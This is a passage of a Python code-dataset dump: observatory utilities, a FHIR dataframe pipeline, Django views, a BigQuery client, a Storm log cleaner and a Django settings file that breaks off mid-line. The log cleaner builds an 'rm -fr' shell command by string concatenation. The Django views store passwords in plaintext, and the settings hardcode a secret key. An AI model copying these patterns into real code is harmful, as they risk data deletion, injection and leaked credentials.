set_last_updated_date(now)\n","sub_path":"remo/remozilla/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":6094,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"92644716","text":"#!/usr/bin/env python\n\n\"\"\"Helper for observatory and device computed attributes, including aggregate status values\"\"\"\n\n__author__ = 'Michael Meisinger, Maurice Manning, Ian Katz'\n\n\nfrom pyon.core.exception import BadRequest\nfrom pyon.public import RT, PRED\n\nfrom interface.objects import DeviceStatusType\n\n\nclass ObservatoryUtil(object):\n def __init__(self, process=None, container=None, enhanced_rr=None):\n self.process = process\n self.container = container if container else process.container\n self.RR2 = enhanced_rr\n\n\n # -------------------------------------------------------------------------\n # Resource registry access\n\n def _set_enhanced_rr(self, enhanced_rr=None):\n self.RR2 = enhanced_rr\n\n def _get_predicate_assocs(self, predicate):\n if self.RR2:\n if not self.RR2.has_cached_predicate(predicate):\n self.RR2.cache_predicate(predicate)\n assoc_list = self.RR2.get_cached_associations(predicate)\n else:\n assoc_list = self.container.resource_registry.find_associations(predicate=predicate, id_only=False)\n return assoc_list\n\n def _find_objects(self, subject, predicate, object_type='', id_only=False):\n if self.RR2:\n return self.RR2.find_objects(subject, predicate, object_type, id_only=id_only), None\n else:\n return self.container.resource_registry.find_objects(subject, predicate, object_type, id_only=id_only)\n\n # -------------------------------------------------------------------------\n # Observatory site traversal\n\n def get_child_sites(self, parent_site_id=None, org_id=None, exclude_types=None, include_parents=True, id_only=True):\n \"\"\"\n Returns all child sites and parent site for a given parent site_id.\n Returns all child sites and org for a given org_id.\n Return type is a tuple (site_resources, site_children) of two elements.\n - site_resources is a dict mapping site_id to Site object (or None if id_only==True).\n - site_children is a dict mapping site_id to a list of direct child site_ids.\n @param include_parents if True, walk up the parents all the way to the root and include\n @param id_only if True, return Site objects\n \"\"\"\n if parent_site_id and org_id:\n raise BadRequest(\"Either parent_site_id OR org_id supported!\")\n if exclude_types is None:\n exclude_types = []\n\n parents = self._get_site_parents() # Note: root elements are not in list\n\n if org_id:\n obsite_ids,_ = self._find_objects(org_id, PRED.hasResource, RT.Observatory, id_only=True)\n if not obsite_ids:\n return {}, {}\n parent_site_id = org_id\n for obsite_id in obsite_ids:\n parents[obsite_id] = ('Observatory', org_id, 'Org')\n elif parent_site_id:\n if parent_site_id not in parents:\n parents[parent_site_id] = ('Observatory', None, 'Org')\n else:\n raise BadRequest(\"Must provide either parent_site_id or org_id\")\n\n matchlist = [] # sites with wanted parent\n ancestors = {} # child ids for sites in result set\n for site_id, (st, parent_id, pt) in parents.iteritems():\n # Iterate through sites and find the ones with a wanted parent\n if st in exclude_types:\n continue\n parent_stack = [site_id, parent_id]\n while parent_id:\n # Walk up to parents\n if parent_id == parent_site_id:\n matchlist.append(site_id)\n # Fill out ancestors\n par = parent_stack.pop()\n while parent_stack:\n ch = parent_stack.pop()\n if par not in ancestors:\n ancestors[par] = []\n if ch not in ancestors[par]:\n ancestors[par].append(ch)\n par = ch\n parent_id = None\n else:\n _,parent_id,_ = parents.get(parent_id, (None,None,None))\n parent_stack.append(parent_id)\n\n # Go all the way up to the roots\n if include_parents:\n matchlist.append(parent_site_id)\n child_id = parent_site_id\n parent = parents.get(child_id, None)\n while parent:\n st, parent_id, pt = parent\n if parent_id:\n matchlist.append(parent_id)\n if parent_id not in ancestors:\n ancestors[parent_id] = []\n ancestors[parent_id].append(child_id)\n child_id = parent_id\n parent = parents.get(child_id, None)\n\n if id_only:\n child_site_dict = dict(zip(matchlist, [None]*len(matchlist)))\n else:\n all_res = self.container.resource_registry.read_mult(matchlist) if matchlist else []\n child_site_dict = dict(zip([res._id for res in all_res], all_res))\n\n return child_site_dict, ancestors\n\n def _get_site_parents(self):\n \"\"\"Returns a dict mapping a site_id to site type and parent site_id.\"\"\"\n # This function makes one RR call retrieving all hasSite associations.\n # @TODO: see if this can be done with an id_only=False argument\n parents = {}\n assoc_list = self._get_predicate_assocs(PRED.hasSite)\n for assoc in assoc_list:\n parents[assoc.o] = (assoc.ot, assoc.s, assoc.st)\n return parents\n\n def get_device_relations(self, site_list):\n \"\"\"\n Returns a dict of site_id or device_id mapped to list of (site/device type, device_id, device type)\n tuples, or None, based on hasDevice associations.\n This is a combination of 2 results: site->device(primary) and device(parent)->device(child)\n \"\"\"\n assoc_list = self._get_predicate_assocs(PRED.hasDevice)\n\n res_dict = {}\n\n site_devices = self.get_site_devices(site_list, assoc_list=assoc_list)\n res_dict.update(site_devices)\n\n # Add information for each device\n device_ids = [tuple_list[0][1] for tuple_list in site_devices.values() if tuple_list]\n for device_id in device_ids:\n res_dict.update(self.get_child_devices(device_id, assoc_list=assoc_list))\n\n return res_dict\n\n def get_site_devices(self, site_list, assoc_list=None):\n \"\"\"\n Returns a dict of site_id mapped to a list of (site type, device_id, device type) tuples,\n based on hasDevice association for given site_list.\n \"\"\"\n site_devices = self._get_site_devices(assoc_list=assoc_list)\n res_sites = {}\n for site_id in site_list:\n sd_tup = site_devices.get(site_id, None)\n res_sites[site_id] = [sd_tup] if sd_tup else []\n return res_sites\n\n def _get_site_devices(self, assoc_list=None):\n \"\"\"\n Returns a dict of site_id mapped to a list of (site type, device_id, device type) tuples,\n based on hasDevice association for all sites.\n \"\"\"\n sites = {}\n if not assoc_list:\n assoc_list = self._get_predicate_assocs(PRED.hasDevice)\n for assoc in assoc_list:\n if assoc.st in [RT.PlatformSite, RT.InstrumentSite]:\n sites[assoc.s] = (assoc.st, assoc.o, assoc.ot)\n return sites\n\n def get_child_devices(self, device_id, assoc_list=None):\n child_devices = self._get_child_devices(assoc_list=assoc_list)\n all_children = set([device_id])\n def add_children(dev_id):\n ch_list = child_devices.get(dev_id, [])\n for _,ch_id,_ in ch_list:\n all_children.add(ch_id)\n add_children(ch_id)\n add_children(device_id)\n for dev_id in list(child_devices.keys()):\n if dev_id not in all_children:\n del child_devices[dev_id]\n if device_id not in child_devices:\n child_devices[device_id] = []\n return child_devices\n\n def _get_child_devices(self, assoc_list=None):\n \"\"\"\n Returns a dict mapping a device_id to parent type, child device_id, child type based on hasDevice association.\n \"\"\"\n sites = {}\n if not assoc_list:\n assoc_list = self._get_predicate_assocs(PRED.hasDevice)\n for assoc in assoc_list:\n if assoc.st in [RT.PlatformDevice, RT.InstrumentDevice] and assoc.ot in [RT.PlatformDevice, RT.InstrumentDevice]:\n if assoc.s not in sites:\n sites[assoc.s] = []\n sites[assoc.s].append((assoc.st, assoc.o, assoc.ot))\n return sites\n\n\n\n def get_site_root(self, res_id, site_parents=None, ancestors=None):\n if ancestors:\n site_parents = {}\n for site_id, ch_ids in ancestors.iteritems():\n if ch_ids:\n for ch_id in ch_ids:\n site_parents[ch_id] = ('', site_id, '')\n\n parent_id = res_id\n parent = site_parents.get(parent_id, None)\n while parent:\n _,pid,_ = parent\n parent_id = pid\n parent = site_parents.get(parent_id, None)\n return parent_id\n\n\n def _consolidate_status(self, statuses, warn_if_unknown=False):\n \"\"\"Intelligently merge statuses with current value\"\"\"\n\n # Any critical means all critical\n if DeviceStatusType.STATUS_CRITICAL in statuses:\n return DeviceStatusType.STATUS_CRITICAL\n\n # Any warning means all warning\n if DeviceStatusType.STATUS_WARNING in statuses:\n return DeviceStatusType.STATUS_WARNING\n\n # Any unknown is fine unless some are ok -- then it's a warning\n if DeviceStatusType.STATUS_OK in statuses:\n if DeviceStatusType.STATUS_UNKNOWN in statuses and warn_if_unknown:\n return DeviceStatusType.STATUS_WARNING\n else:\n return DeviceStatusType.STATUS_OK\n\n # 0 results are OK, 0 or more are unknown\n return DeviceStatusType.STATUS_UNKNOWN\n\n def _rollup_statuses(self, status_list):\n \"\"\"For a list of child status dicts, compute the rollup statuses\"\"\"\n rollup_status = {}\n rollup_status['power'] = self._consolidate_status([stat['power'] for stat in status_list])\n rollup_status['comms'] = self._consolidate_status([stat['comms'] for stat in status_list])\n rollup_status['data'] = self._consolidate_status([stat['data'] for stat in status_list])\n rollup_status['loc'] = self._consolidate_status([stat['loc'] for stat in status_list])\n rollup_status['agg'] = self._consolidate_status(rollup_status.values())\n return rollup_status\n\n # -------------------------------------------------------------------------\n # Finding data products\n\n def get_device_data_products(self, device_list, assoc_list=None):\n \"\"\"\n Returns a dict of device_id mapped to data product id based on hasSource association.\n \"\"\"\n device_dps = self._get_device_data_products(assoc_list=assoc_list)\n res_dps = {}\n for dev_id in device_list:\n res_dps[dev_id] = device_dps.get(dev_id, None)\n return res_dps\n\n def _get_device_data_products(self, assoc_list=None):\n \"\"\"\n Returns a dict of device_id mapped to data product id based on hasSource association.\n \"\"\"\n data_products = {}\n if not assoc_list:\n assoc_list = self._get_predicate_assocs(PRED.hasSource)\n for assoc in assoc_list:\n if assoc.st == RT.DataProduct:\n if assoc.o not in data_products:\n data_products[assoc.o] = []\n data_products[assoc.o].append(assoc.s)\n return data_products\n\n def get_site_data_products(self, res_id, res_type=None, include_sites=False, include_devices=False, include_data_products=False):\n \"\"\"\n Determines efficiently all data products for the given site and child sites.\n For given site_id, first determine all child sites (following child hasSite associations).\n Then find all currently primary devices to all child sites (following hasDevice associations).\n Then find all data products that are derived from the devices (following hasSource associations).\n @retval A dict containing the following keys:\n \"site_resources\": A dict mapping site_id to Site resource object (if include_sites==True) or None\n \"site_children\": A dict mapping site/org id to list of site ids for children\n \"site_devices\": A dict mapping site id to tuple (site type, device id, device type)\n \"device_resources\": A dict mapping device_id to Device object (if include_devices==True)\n \"device_data_products\": A dict mapping device_id to data_product_id\n \"data_product_resources\": A dict mapping data_product_id to DataProduct resource object\n \"\"\"\n if not res_type:\n res_obj = self.container.resource_registry.read(res_id)\n res_type = res_obj._get_type()\n\n device_list = []\n if res_type in [RT.Org, RT.Observatory, RT.Subsite, RT.PlatformSite, RT.InstrumentSite]:\n if res_type == RT.Org:\n child_sites, site_ancestors = self.get_child_sites(org_id=res_id, include_parents=False, id_only=not include_devices)\n else:\n child_sites, site_ancestors = self.get_child_sites(parent_site_id=res_id, include_parents=False, id_only=not include_devices)\n child_sites[res_id] = self.container.resource_registry.read(res_id) if include_data_products else None\n\n site_devices = self.get_device_relations(child_sites.keys())\n device_list = [tup[1] for key,dev_list in site_devices.iteritems() if dev_list for tup in dev_list]\n\n elif res_type in [RT.PlatformDevice, RT.InstrumentDevice]:\n child_sites, site_devices, site_ancestors = None, None, None\n\n # See if current device has child devices\n device_list = self.get_child_devices(res_id)\n\n else:\n raise BadRequest(\"Unsupported resource type: %s\" % res_type)\n\n device_dps = self.get_device_data_products(device_list)\n device_objs = self.container.resource_registry.read_mult(device_list) if include_devices else None\n\n if include_data_products:\n dpid_list = [dp_id for device_id, dp_list in device_dps.iteritems() if dp_list is not None for dp_id in dp_list if dp_id is not None]\n dpo_list = self.container.resource_registry.read_mult(dpid_list)\n dp_objs = dict(zip(dpid_list, dpo_list))\n else:\n dp_objs = None\n\n res_dict = dict(\n site_resources=child_sites,\n site_children=site_ancestors,\n site_devices=site_devices,\n device_resources=device_objs,\n device_data_products=device_dps,\n data_product_resources=dp_objs,\n )\n\n return res_dict\n","sub_path":"ion/services/sa/observatory/observatory_util.py","file_name":"observatory_util.py","file_ext":"py","file_size_in_byte":15166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"640840991","text":"from typing import List\n\nimport pandas as pd\n\nfrom fhirpipe.analyze.attribute import Attribute\nfrom fhirpipe.analyze.sql_column import SqlColumn\n\n\ndef clean_dataframe(\n df, attributes: List[Attribute], primary_key_column,\n):\n \"\"\" Apply cleaning scripts and concept maps.\n This function takes the dataframe produced by the sql query and return another\n dataframe which looks like:\n | Attribute | Attribute\n | ({table_col}, table) | ({table_col}, table) | ({table_col}, table)\n |---------------------------|---------------------------|------------------------\n row 1 | val | val | val\n row 2 | val | val | val\n ... | ... | ... | ...\n\n and where all values are cleaned (with cleaning scripts and concept maps).\n \"\"\"\n cleaned_df = pd.DataFrame()\n df_pk_col = df[primary_key_column.dataframe_column_name()]\n for attribute in attributes:\n attr_df = pd.DataFrame()\n for col in attribute.columns:\n df_col_name = col.dataframe_column_name()\n\n # The column name in the new intermediary dataframe\n # We put also col.table because it's needed in squash_rows\n attr_col_name = (df_col_name, col.table)\n\n # Get the original column\n attr_df[attr_col_name] = df[df_col_name]\n\n # Apply cleaning script\n if col.cleaning_script:\n attr_df[attr_col_name] = col.cleaning_script.apply(\n attr_df[attr_col_name], df_pk_col\n )\n\n # Apply concept map\n if col.concept_map:\n attr_df[attr_col_name] = col.concept_map.apply(attr_df[attr_col_name], df_pk_col)\n\n if not attr_df.empty:\n # Change col names to have hierarchical names in the dataframe with all the attributes\n attr_df.columns = pd.MultiIndex.from_product(([attribute], attr_df.columns))\n\n # Build the dataframe containing all the attributes\n cleaned_df = pd.concat([cleaned_df, attr_df], axis=1)\n\n cleaned_df[pk_col_name(primary_key_column)] = df_pk_col\n\n return cleaned_df\n\n\ndef squash_rows(df, squash_rules, parent_cols=[]):\n \"\"\"\n Apply the squash rules to have a single row for each instance. This is needed\n because joins will create several rows with the same primary key.\n\n args:\n df (dataframe): the original dataframe with possibly several rows for the same\n primary key.\n squash_rules (nested list): squash rules built by the Analyzer\n parent_cols (list): param used for recursive call\n\n Example:\n if you join people with bank accounts on guy.id = account.owner_id,\n you want at the end to have for a single guy to have a single instance\n with an attribute accounts.\n ROWS:\n GUY.NAME ... GUY.AGE ACCOUNT.NAME ACCOUNT.AMOUNT\n Robert 21 Compte courant 17654\n Robert 21 Compte d'epargne 123456789\n David 51 Ibiza summer 100\n\n Squash rule: ['GUY', ['ACCOUNT', []]\n\n Output:\n GUY.NAME ... GUY.AGE ACCOUNT.NAME ACCOUNT.AMOUNT\n Robert 21 (Compte courant, Compte d'epargne) (17654, 123456789)\n David 51 Ibiza summer 100\n \"\"\"\n table, child_rules = squash_rules\n\n new_cols = [col for col in df.columns if col[1][1] == table]\n pivot_cols = parent_cols + new_cols\n\n to_squash = [col for col in df.columns if any([col[1][1] == rule[0] for rule in child_rules])]\n\n if not to_squash:\n return df\n\n for child_rule in child_rules:\n df = squash_rows(df, child_rule, pivot_cols)\n\n df = (\n df.groupby(pivot_cols, as_index=False)\n .apply(lambda x: x.drop_duplicates())\n .groupby(pivot_cols, as_index=False)\n .agg(flat_tuple_agg)\n )\n\n return df\n\n\ndef merge_dataframe(\n df, attributes: List[Attribute], primary_key_column,\n):\n \"\"\" Apply merging scripts.\n Takes as input a dataframe of the form\n\n | Attribute | Attribute\n | ({table_col}, table) | ({table_col}, table) | ({table_col}, table)\n |---------------------------|---------------------------|------------------------\n row 1 | val | val | val\n row 2 | val | val | val\n ... | ... | ... | ...\n\n and outputs\n\n | Attribute | Attribute\n |---------------------------|------------------------\n row 1 | val | val\n row 2 | val | val\n ... | ... | ...\n\n where values are merge thanks to the mergig scripts.\n \"\"\"\n merged_df = pd.DataFrame()\n df_pk_col = df[pk_col_name(primary_key_column)]\n for attribute in attributes:\n if attribute not in df:\n # If attribute is static or has no input, don't do anything\n continue\n\n if attribute.merging_script:\n merged_df[attribute] = attribute.merging_script.apply(\n [df[attribute, col] for col in df[attribute]], attribute.static_inputs, df_pk_col\n )\n else:\n attr_cols = df[attribute].columns\n assert (\n len(attr_cols) == 1\n ), f\"The mapping contains several unmerged columns for attribute {attribute}\"\n merged_df[attribute] = df[attribute][attr_cols[0]]\n\n return merged_df\n\n\ndef flat_tuple_agg(values):\n \"\"\" We don't want tuples of tuples when squashing several times a columns.\n This function does the aggregation so that the resulting tuple isn't nested.\n \"\"\"\n res = ()\n for _, val in values.iteritems():\n if isinstance(val, tuple):\n res += val\n else:\n res += (val,)\n return res\n\n\ndef pk_col_name(primary_key_column: SqlColumn):\n return (\"pk\", (primary_key_column.dataframe_column_name(), primary_key_column.table))\n","sub_path":"fhirpipe/transform/dataframe.py","file_name":"dataframe.py","file_ext":"py","file_size_in_byte":6440,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"624089185","text":"from django.shortcuts import get_object_or_404, render, redirect\nfrom django.http import HttpResponseRedirect\nfrom django.http import HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom django.views import generic\n\nfrom .models import User , Post \nfrom django.shortcuts import render\nfrom .forms import *\n\ndef users(requset ):\n\n\tsignupform = SignUp()\n\tloginform = Login()\n\tallusers = User.objects.all()\n\tif requset.method == 'POST':\n\t\tif 'signupsubmit' in requset.POST:\n\t\t\tsignupform = SignUp(requset.POST)\n\t\t\tif signupform.is_valid():\n\t\t\t\tsignupform = signupform.cleaned_data\n\t\t\t\texistuser = User.objects.filter(username=signupform['username'])\n\t\t\t\tif (existuser):\n\t\t\t\t\tsignupform = SignUp()\n\t\t\t\t\treturn render(requset, 'avaa/users.html', {'allusers':allusers, 'signupform':signupform , 'loginform':loginform, 'userexisterror': True})\t\n\t\t\t\telse:\n\t\t\t\t\tUser.objects.create(username=signupform['username'], \n\t\t\t\t\t\t\t\t\t\t\temail=signupform['email'],\n\t\t\t\t\t\t\t\t\t\t\tpassword=signupform['password'])\n\t\t\t\t\t# signupform = SignUp()\n\t\t\t\t\treturn redirect('/' + signupform['username'])\n\t\t\t\t\t# return render(requset, 'avaa/users.html', {'allusers':allusers, 'signupform':signupform , 'loginform':loginform, 'signupsuccessfully':True})\n\t\t\telse:\n\t\t\t\tsignupform = SignUp()\n\t\t\t\treturn render(requset, 'avaa/users.html', {'allusers':allusers,'signupform':signupform})\n\t\tif 'loginsubmit' in requset.POST:\n\t\t\tloginform = Login(requset.POST)\n\t\t\tif loginform.is_valid():\n\t\t\t\tloginform = loginform.cleaned_data\n\t\t\t\texistuser = User.objects.filter(username=loginform['username'])\n\t\t\t\tif (existuser):\n\t\t\t\t\tif (existuser[0].password == loginform['password']):\n\t\t\t\t\t\t# return redirect(views.userpage('a') )\n\t\t\t\t\t\treturn redirect('/' + loginform['username'] )\n\t\t\t\t\telse:\n\t\t\t\t\t\tloginform = Login()\n\t\t\t\t\t\treturn render(requset, 'avaa/users.html', {'allusers':allusers, 'signupform':signupform , 'loginform':loginform, 'loginfailed':True})\t\n\t\t\t\telse:\n\t\t\t\t\tloginform = Login()\n\t\t\t\t\treturn render(requset, 'avaa/users.html', {'allusers':allusers, 'signupform':signupform , 'loginform':loginform, 'loginfailed':True})\n\t\t\telse:\n\t\t\t\tloginform = Login()\n\t\t\t\treturn render(requset, 'avaa/users.html', {'allusers':allusers,'signupform':signupform, 'loginform':loginform})\n\n\telse:\n\t\treturn render(requset, 'avaa/users.html' , {'allusers':allusers,'signupform':signupform, 'loginform':loginform})\n\ndef userpage(requset,username):\n\tposts = Post.objects.filter(owner__username=username)\n\treturn render(requset, 'avaa/userposts.html', {'posts':posts})","sub_path":"mysite/avaa/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"567541683","text":"from google.cloud import bigquery\nfrom BigQuery.schema_generator import SchemaGenerator\nimport os\n\nclass BigQueryClient:\n def import_data(self, data, table_name):\n schema_generator = SchemaGenerator()\n client = bigquery.Client.from_service_account_json(''.join([os.getcwd(), '/BigQuery/service_account.json']))\n result = schema_generator.execute(client, table_name)\n\n if result['success']: #Create table and schema success.\n table = result['table']\n print(\"\\n{}Importing Data to Bigquery{}\\n\".format('*'*15, '*'*15))\n errors = client.insert_rows(table, data)\n\n if len(errors) == 0: #which means it's success.\n print(\"\\nUpload success\\n\")\n else:\n print(\"\\nUpload failed\\n\")\n else:\n print(\"Upload failed : {}\".format(result[\"errors\"]))\n\n return\n","sub_path":"BigQuery/bigquery_client.py","file_name":"bigquery_client.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"362273704","text":"# Arda Mavi\nimport os\nimport numpy as np\nfrom os import listdir\nfrom imageio import imread\nfrom PIL import Image\n\n# from scipy import imread, imresize\nfrom tensorflow.keras.utils import to_categorical\n\n# from keras.utils import to_categorical\nfrom sklearn.model_selection import train_test_split\n\n\n# Settings:\nimg_size = 64\ngrayscale_images = True\nnum_class = 10\ntest_size = 0.2\n\n\ndef get_img(data_path):\n # Getting image array from path:\n\n # img = Image.open(data_path).convert('L') # <-- Convert to greyscale\n img = Image.open(data_path)\n img = img.resize((img_size, img_size))\n # img = imresize(img, (img_size, img_size, 1 if grayscale_images else 3))\n img = np.array(img)\n return img\n\n\ndef get_dataset(dataset_path='Dataset'):\n # Getting all data from data path:\n try:\n X = np.load('npy_dataset/X.npy')\n Y = np.load('npy_dataset/Y.npy')\n except:\n labels = listdir(dataset_path) # Geting labels\n X = []\n Y = []\n for i, label in enumerate(labels):\n datas_path = dataset_path+'/'+label\n print('loading images for number {}'.format(label))\n for data in listdir(datas_path):\n img = get_img(datas_path+'/'+data)\n X.append(img)\n Y.append(int(label))\n # Create dateset:\n #X = 1-np.array(X).astype('float32')/255.\n Y = np.array(Y).astype('int64')\n # Y = to_categorical(Y, num_class)\n if not os.path.exists('npy_dataset/'):\n os.makedirs('npy_dataset/')\n np.save('npy_dataset/X.npy', X)\n np.save('npy_dataset/Y.npy', Y)\n X, X_test, Y, Y_test = train_test_split(\n X, Y, test_size=test_size, random_state=42)\n\n return X, X_test, Y, Y_test\n\n\ndef loadLiveImages(dataset_path='Live_Examples'):\n imgs = []\n for data in listdir(dataset_path):\n imgs.append(get_img(dataset_path+'/'+data))\n return imgs\n\n\nif __name__ == '__main__':\n get_dataset()\n\n","sub_path":"getDataSet.py","file_name":"getDataSet.py","file_ext":"py","file_size_in_byte":1975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"72401868","text":"#!/bin/env python3\n# coding=utf-8\nimport os\n\n\"\"\"\nJust used by to clean storm logs, can use cron to schedule this script.\n\"\"\"\n\n\ndef get_storm_logs_dir(path):\n dirs = os.listdir(path)\n storm_jobs = {}\n for d in dirs:\n if not os.path.isdir(d):\n continue\n storm_job_name, job_start_time = split_name_and_time(d)\n\n # 仅保留时间戳最近的任务\n if storm_job_name not in storm_jobs:\n storm_jobs[storm_job_name] = d\n elif storm_job_name in storm_jobs:\n old = storm_jobs[storm_job_name]\n if split_name_and_time(old)[1] < job_start_time:\n storm_jobs[storm_job_name] = d\n\n print('保留:')\n print(storm_jobs.values())\n to_deleted_dirs = [i for i in dirs if i not in storm_jobs.values()]\n for d in to_deleted_dirs:\n # 仅删目录\n if os.path.isdir(d):\n print('删除目录:{}'.format(d))\n cmd = 'rm -fr ' + d\n os.system(cmd)\n # os.removedirs(d)\n\n\ndef split_name_and_time(path):\n storm_job_name = '-'.join(path.split('-')[:-2])\n job_start_time = int(path.split('-')[-1])\n return storm_job_name, job_start_time\n\n\ndef do_clean():\n LOG_PATH = '/tmp/soft/apache-storm-1.1.0/logs/workers-artifacts'\n print(os.getcwd())\n if os.getcwd() == LOG_PATH:\n get_storm_logs_dir('')\n return\n print('不在%s' % LOG_PATH)\n\n\nif __name__ == '__main__':\n do_clean()\n","sub_path":"modules/app/storm_logs_cleaner.py","file_name":"storm_logs_cleaner.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"301624257","text":"import requests\nimport six.moves.urllib.parse as urlparse\nimport json\nimport os\nimport base64\nimport hmac\nimport hashlib\nimport logging\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nfrom error import ServerError\n\nclass Client(object):\n \"\"\"\n Exchange client interfaces with the exchange server\n \"\"\"\n def __init__(self, remote_base):\n self.remote_base = remote_base\n self.session = requests.Session()\n self.session.headers.update({'Content-type': 'application/json'})\n\n def add_header(self, name, value):\n self.session.headers.update({name: value})\n\n def _parse_server_error_or_raise_for_status(self, resp):\n j = {}\n try:\n j = resp.json()\n except:\n # Most likely json parse failed because of network error, not server error (server\n # sends its errors in json). Don't let parse exception go up, but rather raise default\n # error.\n resp.raise_for_status()\n if resp.status_code != 200 and \"message\" in j: # descriptive message from server side\n raise ServerError(message=j[\"message\"], status_code=resp.status_code)\n resp.raise_for_status()\n return j\n\n def _set_headers(self, payload, api_secret, api_key):\n payload = str.encode(json.dumps(payload))\n b64 = base64.b64encode(payload)\n\n # sign the requests\n signature = hmac.new(str.encode(api_secret), b64, hashlib.sha384).hexdigest()\n\n headers = {\n 'Content-Type': 'text/plain',\n 'X-APIKEY': api_key,\n 'X-PAYLOAD': b64,\n 'X-SIGNATURE': signature\n }\n return headers\n\n def _post_request(self, route, data):\n url = urlparse.urljoin(self.remote_base, route)\n logger.info(\"POST {}\\n{}\".format(url, json.dumps(data)))\n resp = self.session.post(urlparse.urljoin(self.remote_base, route),\n data=json.dumps(data))\n return self._parse_server_error_or_raise_for_status(resp)\n\n def _get_request(self, route):\n url = urlparse.urljoin(self.remote_base, route)\n logger.info(\"GET {}\".format(url))\n resp = self.session.get(url)\n return self._parse_server_error_or_raise_for_status(resp)\n\n def new_account(self, status=None, starting_balances=None):\n data = {'starting_balances': 1000000,\n 'account_status': \"ACTIVE\"}\n route = '/v1/account/new'\n resp = self._post_request(route, data)\n account_key = resp['account_key']\n account_private = resp['account_private']\n return account_key, account_private\n\n def list_all_accounts(self):\n route = '/v1/accounts'\n resp = self._get_request(route)\n all_envs = resp['all_accounts']\n return all_envs\n\n def destroy_account(self, account_key):\n route = '/v1/account/{}/destroy'.format(account_key)\n data = {\"hello\":\"hello\"}\n self._post_request(route, data)\n\n def authenticate(self, data):\n route = '/v1/authenticate'\n resp = self._post_request(route, data)\n return resp['test_response']\n\nif __name__ == '__main__':\n remote_base = 'http://127.0.0.1:5000'\n client = Client(remote_base)\n\n data = {'starting_balances': 1000000,\n 'account_status': \"ACTIVE\"}\n\n resp = client._post_request('/v1/account/new', data)\n account_key = resp['account_key']\n account_private = resp['account_private']","sub_path":"client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":3482,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"391790005","text":"# Django settings for django-questionnaire project.\nDEFAULT_CHARSET = \"utf-8\"\n\nimport os\nimport sys\n\n# Load settings from cookiecutter template\nparentdir = os.path.dirname(__file__)\nsys.path.insert(0,parentdir)\nfrom config.settings.production import *\n\nPROJECT_ROOT = os.path.normpath(os.path.dirname((__file__)))\n\n#sys.path.insert(0, os.path.join(PROJECT_ROOT,\"project\"))\nsys.path.insert(0, os.path.join(PROJECT_ROOT,\"apps\"))\n#sys.path.insert(0, os.path.join(PROJECT_ROOT))\n\nDEBUG = True\nPYDEV = False\nTEMPLATE_DEBUG = False\n\nADMINS = (\n# ('Admin name', 'test@test.com'),\n)\n#PROJECT_NAME = 'djangoquest'\n\n#QUESTIONNAIRE_TEMPLATES = 'questionnaire/'\n#QUESTIONNAIRE_URL = 'djangoquest-demo.aperte-it.com'\n\nMANAGERS = ADMINS\n\nclass MyAppRouter(object):\n \"\"\"A router to control all database operations on models in\n the myapp application\"\"\"\n\n def db_for_read(self, model, **hints):\n \"Point all operations on myapp models to 'other'\"\n try:\n if model._meta.app_label == 'handprint':\n return 'handprint'\n finally:\n return None\n\n def db_for_write(self, model, **hints):\n \"Point all operations on myapp models to 'other'\"\n try:\n if model._meta.app_label == 'handprint':\n return 'handprint'\n finally:\n return None\n\n def allow_relation(self, obj1, obj2, **hints):\n \"Allow any relation if a model in myapp is involved\"\n if obj1._meta.app_label == 'handprint' or obj2._meta.app_label == 'handprint':\n return True\n return None\n\n def allow_syncdb(self, db, model):\n \"Make sure the myapp app only appears on the 'other' db\"\n if db == 'handprint':\n return model._meta.app_label == 'handprint' or model._meta.app_label == 'south'\n elif model._meta.app_label == 'handprint':\n return False\n return \"default\"\n\nDATABASE_ROUTERS = [\"settings.MyAppRouter\",]\n\n# Needed to not run migration on test database when multiple db\nSOUTH_TESTS_MIGRATE = False\n\n#DATABASE_ENGINE = 'mysql' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'ado_mssql'.\n#DATABASE_NAME = 'django_test' # Or path to database file if using sqlite3.\n#DATABASE_USER = 'django_test' # Not used with sqlite3.\n#DATABASE_PASSWORD = 'HGfjAspcFuwnNsDu' # Not used with sqlite3.\n#DATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.\n#DATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.\n\n# The session of a user ends if he closes his browser\n\nSESSION_COOKIE_DOMAIN = None\n\nCACHES = {\n 'default': {\n 'BACKEND': 'johnny.backends.locmem.LocMemCache',\n# 'JOHNNY_CACHE': True,\n }\n}\n\n\n\n# Local time zone for this installation. Choices can be found here:\n# http://www.postgresql.org/docs/8.1/static/datetime-keywords.html#DATETIME-TIMEZONE-SET-TABLE\n# although not all variations may be possible on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Chicago'\n\n# Language code for this installation. All choices can be found here:\n# http://www.w3.org/TR/REC-html40/struct/dirlang.html#langcodes\n# http://blogs.law.harvard.edu/tech/stories/storyReader$15\nLANGUAGE_CODE = 'ru-ru'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\nMEDIA_ROOT = os.path.join(PROJECT_ROOT,'media/')\nMEDIA_URL = '/media/'\nADMIN_MEDIA_PREFIX = '/static/admin/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'a%t_zponly^xf$dc)okcglbxrz8f!4!38932hd+st67ultd6pg'\n\n# List of callables that know how to import templates from various 